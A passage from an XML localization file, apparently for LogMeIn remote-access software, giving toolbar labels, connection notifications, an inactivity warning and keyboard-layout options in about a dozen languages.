<msg name="MAGNIFY">
<en>Magnify</en>
<de>Vergrößern</de>
<es>Ampliar</es>
<fr>Agrandir</fr>
<it>Ingrandisci</it>
<ru>Увеличение</ru>
<ja>拡大</ja>
<ko>확대</ko>
<hu>Nagyítás</hu>
<pt-br>Ampliar</pt-br>
<zh>放大</zh>
<nl>Vergrootglas</nl>
</msg>
<msg name="SOUND">
<en>Sound</en>
<de>Klang</de>
<es>Sonido</es>
<fr>Son</fr>
<it>Audio</it>
<ru>Звук</ru>
<ja>サウンド</ja>
<ko>사운드</ko>
<hu>Hang</hu>
<pt-br>Som</pt-br>
<zh>声音</zh>
<nl>Geluid</nl>
</msg>
<msg name="CTRLALTDEL">
<en>Ctrl-Alt-\nDel</en>
<de>Strg+Alt+\nEntf</de>
<es>Ctrl-Alt-\nSupr</es>
<fr>Ctrl-Alt-\nDel</fr>
<it>Ctrl-Alt-\nCanc</it>
<ru>Ctrl-Alt-\nDel</ru>
<ja>Ctrl-Alt-\nDel</ja>
<zh>Ctrl-Alt-\nDel</zh>
<ko>Ctrl-Alt-\nDel</ko>
<en-gb>Ctrl-Alt-\nDel</en-gb>
<hu>Control-Alt-\nDel</hu>
<pt-br>Ctrl-Alt-\nDel</pt-br>
<nl>Ctrl-Alt-\nDel</nl>
</msg>
<msg name="CMDALTESC">
<en>Cmd-Alt-\nEsc</en>
<fr>Cmd-Alt-\nEsc</fr>
<es>Cmd-Alt-\nEsc</es>
<de>CMD+Alt+\nEsc</de>
<it>Cmd-Alt-\nEsc</it>
<nl>Cmd-Alt-\nEsc</nl>
<pt-br>Cmd-Alt-\nEsc</pt-br>
<zh>Cmd-Alt-\nEsc</zh>
<ru>Cmd-Alt-\nEsc</ru>
<ja>Cmd+Alt+\nEsc</ja>
<ko>Cmd-Alt-\nEsc</ko>
<hu>Cmd-Alt-\nEsc</hu>
</msg>
<msg name="SCREENSETTINGS">
<en>Screen Settings</en>
<de>Bildschirmeinstellungen</de>
<es>Ajustes de pantalla</es>
<fr>Paramètres d'écran</fr>
<it>Impostazioni dello schermo</it>
<ru>Настройки экрана</ru>
<ja>画面設定</ja>
<ko>화면 설정</ko>
<hu>Képernyő-beállítások</hu>
<pt-br>Configurações de tela</pt-br>
<zh>屏幕设置</zh>
<nl>Scherminstellingen</nl>
</msg>
<msg name="COLORQUALITY">
<en>Color\nQuality</en>
<es>Calidad\nde color</es>
<fr>Qualité\nd'affichage</fr>
<de>Farb-\nqualität</de>
<it>Qualità\ndel colore</it>
<ru>Качество\nцветопередачи</ru>
<ja>色の品質</ja>
<zh>色质</zh>
<ko>색 품질</ko>
<en-gb>Colour\nQuality</en-gb>
<hu>Szín-\nminőség</hu>
<pt-br>Qualidade\nde cor</pt-br>
<nl>Kleuren-\nkwaliteit</nl>
</msg>
<msg name="VIEW">
<en>View</en>
<de>Ansicht</de>
<es>Ver</es>
<fr>Affichage</fr>
<it>Visualizza</it>
<ru>Вид</ru>
<ja>表示</ja>
<zh>视图</zh>
<ko>보기</ko>
<en-gb>View</en-gb>
<hu>Nézet</hu>
<pt-br>Exibir</pt-br>
<nl>Beeld</nl>
</msg>
<msg name="RESOLUTION">
<en>Resolution</en>
<de>Auflösung</de>
<es>Resolución</es>
<fr>Résolution</fr>
<it>Risoluzione</it>
<ru>Разрешение</ru>
<ja>解像度</ja>
<ko>해상도</ko>
<hu>Képernyőfelbontás</hu>
<pt-br>Resolução</pt-br>
<zh>分辨率</zh>
<nl>Resolutie</nl>
</msg>
<msg name="MONITORS">
<en>Monitors</en>
<es>Monitores</es>
<fr>Moniteurs</fr>
<de>Monitore</de>
<it>Monitor</it>
<ru>Мониторы</ru>
<ja>モニタ</ja>
<zh>显示器</zh>
<ko>모니터</ko>
<en-gb>Monitors</en-gb>
<hu>Monitorok</hu>
<pt-br>Monitores</pt-br>
<nl>Beeldschermen</nl>
</msg>
<msg name="FULLSCREEN">
<en>Full\nScreen</en>
<de>Voll-\nbild</de>
<es>Pantalla\ncompleta</es>
<fr>Plein\nécran</fr>
<it>Schermo\nintero</it>
<ru>Во весь\nэкран</ru>
<ja>全画面</ja>
<zh>全屏</zh>
<ko>전체 화면</ko>
<en-gb>Full\nScreen</en-gb>
<hu>Teljes\nképernyő</hu>
<pt-br>Tela\ncheia</pt-br>
<nl>Volledig\nscherm</nl>
</msg>
<msg name="TERMSERV">
<en>Terminal\nServer</en>
<es>Terminal\nServer</es>
<fr>Terminal\nServer</fr>
<it>Terminal\nServer</it>
<ru>Сервер\nтерминалов</ru>
<ja>ターミナル\nサーバー</ja>
<zh>终端服务器</zh>
<ko>터미널 서버</ko>
<en-gb>Terminal\nServer</en-gb>
<hu>Terminál\nkiszolgáló</hu>
<pt-br>Terminal\nServer</pt-br>
<nl>Terminal-\nserver</nl>
</msg>
</cat>
<cat name="QLDROPDOWN">
<msg name="TITLE">
<en>Customize Toolbar</en>
<de>Symbolleiste anpassen</de>
<es>Personalizar barra de herramientas</es>
<fr>Personnaliser la barre d'outils</fr>
<it>Personalizza barra degli strumenti</it>
<ru>Настроить панель инструментов</ru>
<ja>ツールバーをカスタマイズする</ja>
<ko>사용자 정의 도구 모음</ko>
<hu>Eszköztár testre szabása</hu>
<pt-br>Personalizar a barra de ferramentas</pt-br>
<zh>自定义工具栏</zh>
<nl>Werkbalk aanpassen</nl>
</msg>
<msg name="TERMSERV">
<en>Terminal Server</en>
<es>Terminal Server</es>
<fr>Terminal Server</fr>
<it>Terminal Server</it>
<ru>Сервер терминалов</ru>
<ja>ターミナル サーバー</ja>
<zh>终端服务器</zh>
<ko>터미널 서버</ko>
<en-gb>Terminal Server</en-gb>
<hu>Terminálkiszolgáló</hu>
<pt-br>Terminal Server</pt-br>
<nl>Terminalserver</nl>
</msg>
<msg name="CONNOPTIONS">
<en>Connection Options</en>
<de>Verbindungsoptionen</de>
<es>Opciones de conexión</es>
<fr>Options de connexion</fr>
<it>Opzioni di connessione</it>
<ru>Опции подключения</ru>
<ja>接続オプション</ja>
<ko>연결 옵션</ko>
<hu>Kapcsolat-beállítások</hu>
<pt-br>Opções de conexão</pt-br>
<zh>连接选项</zh>
<nl>Verbindingsopties</nl>
</msg>
<msg name="CONNDRV">
<en>Connect Drives</en>
<de>Laufwerke verbinden</de>
<es>Conectar unidades</es>
<fr>Connecter des lecteurs</fr>
<it>Connetti unità</it>
<ru>Подключить диски</ru>
<ja>ドライブを接続</ja>
<ko>드라이브 연결</ko>
<zh>连接驱动器</zh>
<hu>Meghajtók csatlakoztatása</hu>
<pt-br>Conectar unidades</pt-br>
<nl>Stations koppelen</nl>
</msg>
<msg name="BLANKSCREEN">
<en>Blank Screen</en>
<de>Leeren Bildschirm anzeigen</de>
<es>Pantalla sin contenido</es>
<fr>Ecran masqué</fr>
<it>Cancella contenuto dello schermo</it>
<ru>Очистить экран</ru>
<ja>空白画面</ja>
<zh>黑屏</zh>
<ko>빈 화면</ko>
<en-gb>Blank screen</en-gb>
<hu>Üres képernyő</hu>
<pt-br>Tela em branco</pt-br>
<nl>Scherm uitschakelen</nl>
</msg>
<msg name="CONNPRINTER">
<en>Connect Printer</en>
<de>Drucker verbinden</de>
<es>Conectar impresora</es>
<fr>Connecter l'imprimante</fr>
<it>Collega stampante</it>
<ru>Подключение к принтеру</ru>
<ja>プリンタの接続</ja>
<ko>프린터 연결</ko>
<hu>Nyomtató csatlakoztatása</hu>
<pt-br>Conectar impressora</pt-br>
<zh>连接打印机</zh>
<nl>Printer koppelen</nl>
</msg>
<msg name="SYNCCB">
<en>Sync Clipboard</en>
<de>Zwischenablage synchronisieren</de>
<es>Sincronizar portapapeles</es>
<fr>Synchroniser le presse-papiers</fr>
<it>Sincronizza Appunti</it>
<ru>Синхронизировать буфер обмена</ru>
<ja>同期クリップボード</ja>
<ko>클립보드 동기화</ko>
<hu>Vágólap szinkronizálása</hu>
<pt-br>Sincronizar área de transferência</pt-br>
<zh>同步剪贴板</zh>
<nl>Klembord synchroniseren</nl>
</msg>
<msg name="LOCKKB">
<en>Lock keyboard</en>
<de>Tastatur sperren</de>
<es>Bloquear teclado.</es>
<fr>Verrouiller le clavier</fr>
<it>Blocca tastiera</it>
<ru>Блокировка клавиатуры</ru>
<ja>キーボードをロックする</ja>
<ko>키보드 잠금</ko>
<hu>Billentyűzet lezárása</hu>
<pt-br>Bloquear teclado</pt-br>
<zh>锁定键盘</zh>
<nl>Toetsenbord vergrendelen</nl>
</msg>
<msg name="NETWORK">
<en>Network</en>
<de>Netzwerk</de>
<es>Red</es>
<fr>Réseau</fr>
<it>Rete</it>
<ru>Сеть</ru>
<ja>ネットワーク</ja>
<zh>网络</zh>
<ko>네트워크</ko>
<en-gb>Network</en-gb>
<hu>Hálózat</hu>
<pt-br>Rede</pt-br>
<nl>Netwerk</nl>
</msg>
<msg name="TOOLS">
<en>Tools</en>
<de>Extras</de>
<es>Herramientas</es>
<fr>Outils</fr>
<it>Strumenti</it>
<ru>Сервис</ru>
<ja>ツール</ja>
<ko>도구</ko>
<hu>Eszközök</hu>
<pt-br>Ferramentas</pt-br>
<zh>工具</zh>
<nl>Hulpprogramma's</nl>
</msg>
<msg name="WHITEBOARD">
<en>Whiteboard</en>
<es>Pizarra</es>
<de>Whiteboard</de>
<fr>Tableau blanc</fr>
<it>Lavagna</it>
<ru>Доска объявлений</ru>
<ja>ホワイトボード</ja>
<zh>白板</zh>
<ko>화이트보드</ko>
<en-gb>Whiteboard</en-gb>
<hu>Rajztábla</hu>
<pt-br>Quadro de comunicações</pt-br>
<nl>Whiteboard</nl>
</msg>
<msg name="CHAT">
<en>Chat</en>
<de>Dialog</de>
<es>Conversación</es>
<fr>Assistance par chat</fr>
<it>Chat</it>
<ru>Чат</ru>
<ja>チャット</ja>
<zh>聊天</zh>
<ko>대화</ko>
<en-gb>Chat</en-gb>
<hu>Csevegés</hu>
<pt-br>Bate-papo</pt-br>
<nl>Chat</nl>
</msg>
<msg name="LASERPOINTER">
<en>Laser Pointer</en>
<de>Laserpointer</de>
<es>Puntero láser</es>
<fr>Pointeur laser</fr>
<it>Puntatore laser</it>
<ru>Лазерная указка</ru>
<ja>レーザーポインター</ja>
<ko>레이저 포인터</ko>
<hu>Lézermutató</hu>
<pt-br>Laser Pointer</pt-br>
<zh>激光指示器</zh>
<nl>Laseraanwijzer</nl>
</msg>
<msg name="MAGNIFY">
<en>Magnify</en>
<de>Vergrößern</de>
<es>Ampliar</es>
<fr>Agrandir</fr>
<it>Ingrandisci</it>
<ru>Увеличение</ru>
<ja>拡大</ja>
<ko>확대</ko>
<hu>Nagyítás</hu>
<pt-br>Ampliar</pt-br>
<zh>放大</zh>
<nl>Vergrootglas</nl>
</msg>
<msg name="SOUND">
<en>Sound</en>
<de>Klang</de>
<es>Sonido</es>
<fr>Son</fr>
<it>Audio</it>
<ru>Звук</ru>
<ja>サウンド</ja>
<ko>사운드</ko>
<hu>Hang</hu>
<pt-br>Som</pt-br>
<zh>声音</zh>
<nl>Geluid</nl>
</msg>
<msg name="CTRLALTDEL">
<en>Ctrl-Alt-Del</en>
<de>Strg+Alt+Entf</de>
<es>Ctrl-Alt-Supr</es>
<fr>Ctrl-Alt-Del</fr>
<it>Ctrl-Alt-Canc</it>
<ru>Ctrl-Alt-Del</ru>
<ja>Ctrl-Alt-Del</ja>
<zh>Ctrl-Alt-Del</zh>
<ko>Ctrl-Alt-Del</ko>
<en-gb>Ctrl-Alt-Del</en-gb>
<hu>Control-Alt-Del</hu>
<pt-br>Ctrl-Alt-Del</pt-br>
<nl>Ctrl-Alt-Del</nl>
</msg>
<msg name="CMDALTESC">
<en>Cmd-Alt-Esc</en>
<fr>Cmd-Alt-Esc</fr>
<es>Cmd-Alt-Esc</es>
<de>CMD+Alt+Esc</de>
<it>Cmd-Alt-Esc</it>
<nl>Cmd-Alt-Esc</nl>
<pt-br>Cmd-Alt-Esc</pt-br>
<zh>Cmd-Alt-Esc</zh>
<ru>Cmd-Alt-Esc</ru>
<ja>Cmd+Alt+Esc</ja>
<ko>Cmd-Alt-Esc</ko>
<hu>Cmd-Alt-Esc</hu>
</msg>
<msg name="SCREENSETTINGS">
<en>Screen Settings</en>
<de>Bildschirmeinstellungen</de>
<es>Ajustes de pantalla</es>
<fr>Paramètres d'écran</fr>
<it>Impostazioni dello schermo</it>
<ru>Настройки экрана</ru>
<ja>画面設定</ja>
<ko>화면 설정</ko>
<hu>Képernyő-beállítások</hu>
<pt-br>Configurações de tela</pt-br>
<zh>屏幕设置</zh>
<nl>Scherminstellingen</nl>
</msg>
<msg name="COLORQUALITY">
<en>Color Quality</en>
<es>Calidad de color</es>
<fr>Qualité d'affichage</fr>
<de>Farbqualität</de>
<it>Qualità del colore</it>
<ru>Качество цветопередачи</ru>
<ja>色の品質</ja>
<zh>色质</zh>
<ko>색 품질</ko>
<en-gb>Colour Quality</en-gb>
<hu>Színminőség</hu>
<pt-br>Qualidade de cor</pt-br>
<nl>Kleurenkwaliteit</nl>
</msg>
<msg name="VIEW">
<en>View</en>
<de>Ansicht</de>
<es>Ver</es>
<fr>Affichage</fr>
<it>Visualizza</it>
<ru>Вид</ru>
<ja>表示</ja>
<zh>视图</zh>
<ko>보기</ko>
<en-gb>View</en-gb>
<hu>Nézet</hu>
<pt-br>Exibir</pt-br>
<nl>Beeld</nl>
</msg>
<msg name="RESOLUTION">
<en>Resolution</en>
<de>Auflösung</de>
<es>Resolución</es>
<fr>Résolution</fr>
<it>Risoluzione</it>
<ru>Разрешение</ru>
<ja>解像度</ja>
<ko>해상도</ko>
<hu>Képernyőfelbontás</hu>
<pt-br>Resolução</pt-br>
<zh>分辨率</zh>
<nl>Resolutie</nl>
</msg>
<msg name="MONITORS">
<en>Monitors</en>
<es>Monitores</es>
<fr>Moniteurs</fr>
<de>Monitore</de>
<it>Monitor</it>
<ru>Мониторы</ru>
<ja>モニタ</ja>
<zh>显示器</zh>
<ko>모니터</ko>
<en-gb>Monitors</en-gb>
<hu>Monitorok</hu>
<pt-br>Monitores</pt-br>
<nl>Beeldschermen</nl>
</msg>
<msg name="FULLSCREEN">
<en>Full Screen</en>
<de>Vollbild</de>
<es>Pantalla completa</es>
<fr>Plein écran</fr>
<it>Schermo intero</it>
<ru>Во весь экран</ru>
<ja>全画面</ja>
<zh>全屏</zh>
<ko>전체 화면</ko>
<en-gb>Full Screen</en-gb>
<hu>Teljes képernyő</hu>
<pt-br>Tela inteira</pt-br>
<nl>Volledig scherm</nl>
</msg>
</cat>
<msg name="NOTIFICATIONHISTORY">
<en>Notification history</en>
<de>Benachrichtigungsverlauf</de>
<es>Historial de notificaciones</es>
<fr>Historique des notifications</fr>
<it>Cronologia notifiche</it>
<ru>История уведомлений</ru>
<ja>通知履歴</ja>
<ko>알림 내역</ko>
<hu>Értesítések - előzmények</hu>
<pt-br>Histórico de notificações</pt-br>
<zh>通知历史记录</zh>
<nl>Historiek van meldingen</nl>
</msg>
<msg name="NOTIFICATIONALERTHISTORY">
<en>Connection Alert History</en>
<de>Verlauf der Verbindungswarnmeldungen</de>
<es>Historial de avisos de conexión</es>
<fr>Historique des alertes des connexions</fr>
<it>Cronologia avvisi di connessione</it>
<ru>История уведомлений о подключении</ru>
<ja>接続アラート履歴</ja>
<ko>연결 경고 기록</ko>
<hu>Kapcsolat-figyelmeztetések előzményei</hu>
<pt-br>Histórico de alertas de conexão</pt-br>
<zh>连接警报历史记录</zh>
<nl>Historiek van verbindingswaarschuwingen</nl>
</msg>
<msg name="NOTIFICATIONDONTSHOW">
<en>Don't show this alert in popup window</en>
<de>Diese Warnmeldung nicht in Popup-Fenster anzeigen</de>
<es>No mostrar esta alerta en una ventana emergente</es>
<fr>Ne pas afficher cette alerte dans la fenêtre contextuelle</fr>
<it>Non mostrare questo avviso in una finestra popup</it>
<ru>Не показывать это оповещение во всплывающем окне</ru>
<ja>このアラートをポップアップ ウィンドウで表示しない</ja>
<zh>不在弹出窗口中显示此警报</zh>
<ko>이 경고를 팝업창에 표시하지 않음</ko>
<hu>Ne jelenítse meg ezt a riasztást felugró ablakban</hu>
<pt-br>Não exibir este alerta em uma janela pop-up</pt-br>
<nl>Deze waarschuwing niet in pop-upvenster weergeven</nl>
</msg>
<msg name="DONTDISPLAYAGAIN">
<en>Don't display this message again.</en>
<de>Diese Meldung nicht mehr anzeigen.</de>
<es>No volver a mostrar este mensaje.</es>
<fr>Ne plus afficher ce message à l'avenir</fr>
<it>Non visualizzare più questo messaggio.</it>
<ru>Не показывать это сообщение опять.</ru>
<ja>このメッセージは再び表示されることはありません。</ja>
<zh>不再显示此信息。</zh>
<ko>이 메시지를 다시 표시하지 않습니다.</ko>
<en-gb>Don't display this message again.</en-gb>
<hu>Ne mutassa ismét ezt az üzenetet.</hu>
<pt-br>Não exiba esta mensagem novamente.</pt-br>
<nl>Dit bericht niet opnieuw weergeven.</nl>
</msg>
<msg name="NOTIFICATIONTEXT">
<en>Connection Alert</en>
<de>Verbindungswarnmeldung</de>
<es>Alerta de conexión</es>
<fr>Alerte de connexion</fr>
<it>Avviso di connessione</it>
<ru>Оповещение о подключении</ru>
<ja>接続アラート</ja>
<zh>连接警报</zh>
<ko>연결 경고</ko>
<hu>Kapcsolódási riasztás</hu>
<pt-br>Alerta de Conexão</pt-br>
<nl>Verbindingswaarschuwing</nl>
</msg>
<cat name="CLIENTSIDENOTIFY">
<msg name="RCSUSPENDED">
<en>Desktop sharing has been paused by $1. Please wait.</en>
<de>Die Desktopfreigabe wurde von $1 angehalten. Bitte warten.</de>
<es>$1 ha pausado el uso compartido de escritorio. Espere.</es>
<fr>Partage de bureau suspendu par $1. Veuillez patienter.</fr>
<it>La Condivisione dello schermo è stata messa in pausa da $1. Attendere.</it>
<ru>Совместное использование рабочего стола приостановлено пользователем $1. Подождите.</ru>
<ja>デスクトップ共有が$1によって一時停止されました。お待ちください。</ja>
<zh>$1 已暂停桌面共享。请稍候。</zh>
<ko>데스크톱 공유가 $1에 의해 일시 중지되었습니다. 잠시 기다려 주십시오.</ko>
<en-gb>Desktop sharing has been paused by $1. Please wait.</en-gb>
<hu>A képernyőmegosztást $1 szünetelteti. Kis türelmet...</hu>
<pt-br>O compartilhamento da área de trabalho foi pausado por $1. Aguarde.</pt-br>
<nl>Delen van bureaubladen is gepauzeerd door $1. Een ogenblik geduld.</nl>
</msg>
<msg name="RCRESTORED">
<en>Desktop sharing has been restarted by $1.</en>
<de>Die Desktopfreigabe wurde von $1 neu gestartet.</de>
<es>$1 ha reiniciado el uso compartido de escritorio.</es>
<fr>Partage de bureau redémarré par $1.</fr>
<it>La Condivisione dello schermo è stata riavviata da $1.</it>
<ru>Совместное использование рабочего стола перезапущено пользователем $1.</ru>
<ja>デスクトップ共有が$1によって再起動されました。</ja>
<zh>$1 已重新启动桌面共享。</zh>
<ko>데스크톱 공유가 $1에 의해 다시 시작되었습니다.</ko>
<en-gb>Desktop sharing has been restarted by $1.</en-gb>
<hu>A képernyőmegosztást $1 újraindította.</hu>
<pt-br>O compartilhamento da área de trabalho foi reiniciado por $1.</pt-br>
<nl>Delen van bureaublad is gestart door $1.</nl>
</msg>
</cat>
<cat name="CONNECTINGFLOW">
<msg name="SUCCESS.CHAT">
<en>This computer is ready for Chat</en>
<de>Dieser Computer ist für Dialogs bereit.</de>
<es>Este ordenador está preparado para el chat</es>
<fr>Cet ordinateur est prêt pour la messagerie instantanée</fr>
<it>Il computer è pronto per la Chat</it>
<ru>Данный компьютер готов начать сеанс чата.</ru>
<ja>このコンピュータでチャットを実行する準備ができました</ja>
<zh>此计算机已准备好进行聊天</zh>
<ko>대화를 시작할 준비가 되었습니다.</ko>
<hu>Ez a számítógép készen áll a Beszélgetéshez</hu>
<pt-br>Este computador está pronto para o Bate-papo</pt-br>
<nl>Deze computer is gereed voor chatgebruik</nl>
</msg>
<msg name="SUCCESS.FILEMANAGER">
<en>This computer is ready for File Manager</en>
<de>Dieser Computer ist für die Dateiverwaltung bereit.</de>
<es>Este ordenador está preparado para el Gestor de archivos</es>
<fr>Cet ordinateur est prêt pour le gestionnaire de fichiers</fr>
<it>Il computer è pronto per la Gestione file</it>
<ru>Данный компьютер готов к запуску Диспетчера файлов</ru>
<ja>このコンピュータでファイル管理を実行する準備ができました</ja>
<zh>此计算机已准备好进行文件管理器</zh>
<ko>파일 관리자를 실행할 준비가 되었습니다.</ko>
<hu>Ez a számítógép készen áll a Fájlkezelőhöz</hu>
<pt-br>Este computador está pronto para o Gerenciador de arquivos</pt-br>
<nl>Deze computer is gereed voor Bestandsbeheer</nl>
</msg>
<msg name="SUCCESS.TELNET">
<en>This computer is ready for Command Prompt</en>
<es>Este ordenador está preparado para Línea de comandos</es>
<de>Dieser Computer ist bereit für die Eingabeaufforderung.</de>
<fr>Cet ordinateur est prêt pour Invite de commande</fr>
<it>Il computer è pronto per il Prompt dei comandi</it>
<ru>Данный компьютер готов к запуску Командной строки</ru>
<ja>このコンピュータでコマンド プロンプトを実行する準備ができました</ja>
<zh>此计算机已准备好进行命令提示</zh>
<ko>명령 프롬프트를 실행할 준비가 되었습니다.</ko>
<en-gb>This computer is ready for Command Prompt</en-gb>
<hu>Ez a számítógép készen áll a Parancssorhoz</hu>
<pt-br>Este computador está pronto para o prompt de comando</pt-br>
<nl>Deze computer is gereed voor de Opdrachtprompt</nl>
</msg>
<msg name="ABOUT.REMEMBER">
<en>Remember this and don't prompt again for this computer</en>
<de>Diese Einstellung speichern und die Meldung auf diesem Computer nicht mehr anzeigen</de>
<es>Recordarlo y no volverlo a preguntar en este ordenador</es>
<fr>Mémoriser ceci et ne plus afficher d'invite pour cet ordinateur</fr>
<it>Ricorda l'impostazione e non richiederla per questo computer</it>
<ru>Запомнить и больше не показывать это сообщение на этом компьютере</ru>
<ja>情報をコンピュータに保存して、プロンプトを今後表示しない</ja>
<zh>请记住此信息,此计算机不再显示此提示信息</zh>
<ko>해당 정보를 기억하고 이 컴퓨터에서 다시 묻지 않습니다.</ko>
<hu>Jegyezze meg és ne kérje többször ennél a számítógépnél</hu>
<pt-br>Lembrar disso e não solicitar mais para este computador</pt-br>
<nl>Dit onthouden en niet opnieuw vragen voor deze computer</nl>
</msg>
<msg name="ABOUT.REMOTECONTROL">
<en>You are about to remote control</en>
<de>Sie sind im Begriff, die Fernsteuerung einzusetzen</de>
<es>Está a punto de controlar de forma remota</es>
<fr>Vous allez prendre le contrôle à distance</fr>
<it>Si sta per avviare il controllo remoto</it>
<ru>Сейчас начнется сеанс удаленного управления </ru>
<ja>リモート制御を開始します</ja>
<zh>您要远程控制</zh>
<ko>원격 제어하려고 합니다.</ko>
<hu>Ön éppen távirányításra készül</hu>
<pt-br>Você está prestes a controlar remotamente.</pt-br>
<nl>Uw sessie voor besturing op afstand begint zo dadelijk.</nl>
</msg>
<msg name="ABOUT.CLICKOK">
<en>Click OK to proceed.</en>
<de>Klicken Sie auf "OK", um fortzufahren</de>
<es>Haga clic en Aceptar para continuar.</es>
<fr>Cliquez sur OK pour continuer.</fr>
<it>Fare clic su OK per continuare.</it>
<ru>Нажмите "ОК", чтобы продолжить.</ru>
<ja>次へ進むには [OK] をクリックしてください。</ja>
<zh>单击¡°确定¡±以继续。</zh>
<ko>계속하려면 확인을 클릭하십시오.</ko>
<hu>A folytatáshoz nyomja meg az OK gombot.</hu>
<pt-br>Clique em Ok para continuar.</pt-br>
<nl>Klik op OK om verder te gaan.</nl>
</msg>
</cat>
<cat name="IDLEWINDOW">
<msg name="TITLE">
<en>LogMeIn - Inactivity Warning</en>
<de>LogMeIn - Warnung wegen Inaktivität</de>
<es>LogMeIn: Aviso de inactividad</es>
<fr>LogMeIn - Avertissement d'inactivité</fr>
<it>LogMeIn - Avviso di inattività</it>
<ru>LogMeIn - Предупреждение об отсутствии активности</ru>
<ja>LogMeIn - 非アクティブ警告</ja>
<zh>LogMeIn - 非活动状态警告</zh>
<ko>LogMeIn - 작동 없음 경고</ko>
<hu>LogMeIn - Figyelem, hosszú ideig inaktív volt!</hu>
<pt-br>LogMeIn - Aviso de Inatividade</pt-br>
<nl>LogMeIn - Waarschuwing voor geen activiteit</nl>
</msg>
<msg name="MESSAGE">
<en>You have been inactive for a long period. For security reasons you will be automatically disconnected.</en>
<de>Sie waren zu lange inaktiv. Aus Sicherheitsgründen wird Ihre Verbindung automatisch getrennt.</de>
<es>No ha realizado ninguna actividad durante un largo periodo de tiempo. Por motivos de seguridad, se le desconectará automáticamente.</es>
<fr>Vous êtes resté inactif pendant une longue période. Pour des raisons de sécurité, vous serez automatiquement déconnecté.</fr>
<it>L'utente è stato inattivo per un lungo intervallo di tempo e verrà disconnesso automaticamente per ragioni di sicurezza.</it>
<ru>Отсутствие активности в течение долгого периода времени. В целях безопасности будет выполнено автоматическое отключение.</ru>
<ja>長時間操作が行われなかったため、セキュリティ上の理由から接続は自動的に切断されます。</ja>
<zh>您长期处于非活动状态。由于安全原因,系统会自动断开连接。</zh>
<ko>오랜 시간 동안 사용자의 작동이 없었습니다. 보안상의 이유로 자동으로 연결이 해제되었습니다.</ko>
<hu>Biztonsági okokból automatikusan szét fog kapcsolódni.</hu>
<pt-br>Você esteve inativo por muito tempo. Por motivos de segurança, você será desconectado automaticamente.</pt-br>
<nl>U hebt het systeem gedurende een lange periode niet gebruikt. Om veiligheidsredenen zal de verbinding automatisch worden verbroken.</nl>
</msg>
<msg name="DISCONNECTBUTTON">
<en>Disconnect Now (---)</en>
<de>Verbindung jetzt beenden (---)</de>
<es>Desconectar ahora (---)</es>
<fr>Se déconnecter maintenant (---)</fr>
<it>Disconnetti ora (---)</it>
<ru>Отключить сейчас (---)</ru>
<ja>すぐに切断する (---)</ja>
<zh>立即断开连接 (---)</zh>
<ko>지금 연결 해제 (---)</ko>
<hu>Szétkapcsolás most (---)</hu>
<pt-br>Desconectar Agora (---)</pt-br>
<nl>Verbinding nu verbreken (---)</nl>
</msg>
<msg name="DONTDISCONNECTBUTTON">
<en>Don't Disconnect</en>
<de>Verbindung nicht beenden</de>
<es>No desconectar</es>
<fr>Ne pas se déconnecter</fr>
<it>Non disconnettere</it>
<ru>Не отключать</ru>
<ja>切断しない</ja>
<zh>不要断开连接</zh>
<ko>연결 해제하지 않음</ko>
<hu>Ne kapcsoljon szét</hu>
<pt-br>Não Desconectar</pt-br>
<nl>Verbinding niet verbreken</nl>
</msg>
</cat>
<cat name="TOUCHSCROLL">
<msg name="ENABLED">
<en>Touch scrolling enabled</en>
<es>Desplazamiento táctil habilitado</es>
<de>Touch-Scroll aktiviert</de>
<fr>Défilement activé</fr>
<it>Touch scroll attivato</it>
<ru>Сенсорная прокрутка включена</ru>
<ja>タッチ スクロール有効</ja>
<zh>触摸屏滚动已启用</zh>
<ko>터치 스크롤 사용 가능</ko>
<en-gb>Touch scrolling enabled</en-gb>
<hu>Érintő-görgető funkció bekapcsolva</hu>
<pt-br>Rolagem por toque ativada</pt-br>
<nl>Touch-scroll ingeschakeld</nl>
</msg>
<msg name="DISABLED">
<en>Touch scrolling disabled</en>
<es>Desplazamiento táctil deshabilitado</es>
<de>Touch-Scroll deaktiviert</de>
<fr>Défilement désactivé</fr>
<it>Touch scroll disattivato</it>
<ru>Сенсорная прокрутка отключена</ru>
<ja>タッチ スクロール無効</ja>
<zh>触摸屏滚动已禁用</zh>
<ko>터치 스크롤을 사용할 수 없음</ko>
<en-gb>Touch scrolling disabled</en-gb>
<hu>Érintő-görgető funkció kikapcsolva</hu>
<pt-br>Rolagem por toque desativada</pt-br>
<nl>Touch-scroll uitgeschakeld</nl>
</msg>
</cat>
<cat name="KEYBOARDLAYOUT">
<msg name="ORIGINAL">
<en>Use legacy LogMeIn mapping</en>
<es>Usar distribución de LogMeIn heredada</es>
<de>Altes LogMeIn-Layout verwenden</de>
<fr>Utiliser l'ancienne correspondance LogMeIn</fr>
<it>Usa layout LogMeIn preesistente</it>
<ru>Использовать унаследованную раскладку LogMeIn</ru>
<ja>LogMeIn の旧対応付けを使用</ja>
<zh>使用传统 LogMeIn 映射</zh>
<ko>레거시 LogMeIn 매핑 사용</ko>
<en-gb>Use legacy LogMeIn mapping</en-gb>
<hu>Meglévő LogMeIn elrendezés használata</hu>
<pt-br>Usar o layout legado da LogMeIn</pt-br>
<nl>Traditionele LogMeIn-indeling gebruiken</nl>
</msg>
<msg name="CHARACTER">
<en>Use client layout</en>
<es>Usar distribución del cliente</es>
<de>Client-Layout verwenden</de>
<fr>Utiliser la disposition du client</fr>
<it>Usa layout client</it>
<ru>Использовать раскладку клиента</ru>
<ja>クライアント コンピュータのレイアウトを使用</ja>
<zh>使用客户布局</zh>
<ko>클라이언트 레이아웃 사용</ko>
<en-gb>Use client layout</en-gb>
<hu>Kliensgép billentyűzetkiosztásának használata</hu>
<pt-br>Usar o layout do cliente</pt-br>
<nl>Indeling van de klant gebruiken</nl>
</msg>
<msg name="POSITION">
<en>Use host layout</en>
<es>Usar distribución del host</es>
<de>Host-Layout verwenden</de>
<fr>Utiliser la disposition de l'hôte</fr>
<it>Usa layout host</it>
<ru>Использовать раскладку хоста</ru>
<ja>ホスト コンピュータのレイアウトを使用</ja>
<zh>使用主机布局</zh>
<ko>호스트 레이아웃 사용</ko>
<en-gb>Use host layout</en-gb>
<hu>Gazdagép billentyűzetkiosztásának használata</hu>
<pt-br>Usar o layout do host</pt-br>
<nl>Indeling van de host gebruiken</nl>
</msg>
</cat>
<cat name="AUTO_RECONNECT">
<msg name="ATTEMPT">
<en>Attempting to reconnect</en>
<es>Intentando reconectar</es>
<de>Verbindung wird erneut hergestellt</de>
<fr>Tentative de reconnexion</fr>
<it>Tentativo di riconnessione in corso</it>
<ru>Попытка повторного подключения</ru>
<ja>再接続中です</ja>
<zh>正在尝试重新连接</zh>
<ko>재연결 시도 중</ko>
